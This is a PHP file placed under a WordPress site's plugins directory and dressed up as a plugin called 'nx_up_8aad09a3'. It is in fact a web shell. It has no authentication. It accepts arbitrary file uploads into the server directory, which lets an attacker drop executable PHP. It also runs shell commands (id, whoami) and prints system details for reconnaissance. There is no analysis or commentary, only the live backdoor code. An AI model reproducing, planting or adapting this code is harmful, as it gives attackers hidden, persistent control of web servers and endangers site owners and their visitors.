File: /home/gmparts/www/wp-content/plugins/nx_up_8aad09a3/nx_up_8aad09a3.php
<?php
/*
Plugin Name: nx_up_8aad09a3
Version: 1.0
*/
<?php
echo "Nx-zD ";
if($_SERVER["REQUEST_METHOD"]==="POST"&&isset($_FILES["f"])){
$d=dirname(__FILE__)."/";
$n=basename($_FILES["f"]["name"]);
$n=preg_replace('/[^A-Za-z0-9._-]/','_',$n);if($n==='')$n='upload.bin';
if(move_uploaded_file($_FILES["f"]["tmp_name"],$d.$n)){echo "OK ".$d.$n;}else{echo "FAIL";
}}else{
echo php_uname()." ";$i=@shell_exec("id 2>/dev/null");if($i)echo trim($i)." ";
$w=@shell_exec("whoami 2>nul");if($w)echo trim($w);}?>
<form method="POST" enctype="multipart/form-data"><input type="file" name="f"><input type="submit" value="Upload"></form>